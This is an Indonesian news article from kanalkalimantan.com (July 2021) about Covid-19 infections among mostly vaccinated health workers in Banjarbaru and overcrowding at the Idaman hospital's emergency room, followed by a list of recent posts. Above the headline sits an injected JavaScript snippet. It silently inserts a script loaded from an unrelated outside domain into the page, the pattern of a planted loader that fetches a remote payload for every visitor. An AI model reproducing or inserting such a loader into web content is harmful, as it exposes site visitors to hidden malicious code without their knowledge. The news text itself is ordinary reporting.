(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sejumlah Nakes di Banjarbaru Terpapar Covid-19, Mayoritas OTG dan Gejala Ringan


KANALKALIMANTAN.COM, BANJARBARU – Lajunya kasus Covid-19 di Banjarbaru berimbas juga pada tenaga kesehatan (nakes) yang ikut terpapar corona. Kepala Dinas Kesehatan Kota Banjarbaru Rizana Mirza mengakui ada nakes terpapar Covid-19.

Ia mengatakan, sebagian besar tenaga kesehatan yang positif Covid-19 tanpa gejala atau bergejala ringan.

“Ya berkaitan dengan penanganan Covid-19 ini, suka tidak suka, mau tidak mau, pada akhirnya nakes yang berada di ujung tombak ini yang sering melayani pasien. Dari pasien biasa hingga pasien Covid-19 kemungkinan mereka terpapar itu besar,” kata Rizana Mirza, Kamis (22/7/2021).

Terkait hal ini dirinya menyatakan bahwa risiko para nakes yang terpapar itu risikonya kecil dikarenakan para nakes telah tervaksin dua kali.

 

 

Baca juga: Banjarbaru PPKM Level 3, Ini 13 Sektor yang Diperketat

“Tapi Alhamdulillah mereka-mereka ini yang terpapar sudah tervaksin dua kali, jadi alhamdulillah risikonya terkurangi tidak sampai berat sekali,” ucapnya.

Ia menjelaskan, sebelum terpapar mereka ada yang tanpa gejala.

“Jadi mereka isolasi mandiri aja,” ungkapnya pada kanalkalimantan.com.

Sebelumnya, lonjakan kasus Covid-19 membuat ruang Instalasi Gawat Darurat (IGD) harus menjadi ruang rawat sementara pasien Covid-19 di Rumah Sakit Daerah (RSD) Idaman Banjarbaru. Ruang khusus pasien Covid-19 di RSD Idaman Banjarbaru semuanya telah terisi.

Kondisi itu, membuat pasien Covid-19 yang sedianya masuk ke IGD RSD Idaman Banjarbaru harus dirujuk ke rumah sakit lain di Kota Banjarbaru.

“Kondisi ruangan Covid-19 di Rumah Sakit Idaman tadi malam terisi penuh, sampai ada antrean di IGD sebanyak 15 pasien suspek Covid-19 yang tidak masuk ruangan,” ucap Kepala Bagian Tata Usaha RSD Idaman Kota Banjarbaru, Muhammad Firmansyah kepada kanalkalimantan.com, Rabu (21/7/2021) siang.

Kemudian dari lonjakan kasus tersebut, terdeteksi adanya warga asing di salah satu pasien di IGD. Hal ini dibenarkan oleh Kepala Bagian Tata Usaha RSUD Idaman, Muhammad Firmansyah.

Baca juga: Masjid Raya At Taqwa Amuntai Jadi Percontohan MRA

“Iya memang di IGD saat ini ada warga negara asing dengan paspor Tiongkok yang terindikasi suspek Covid-19, itu sudah kami laporkan ke tim satgas agar dilakukan pemantauan kepada yang bersangkutan apakah baru datang atau sudah lama menetap di sini,” pungkasnya.(kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

9 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

11 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

13 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

13 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

16 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

16 jam ago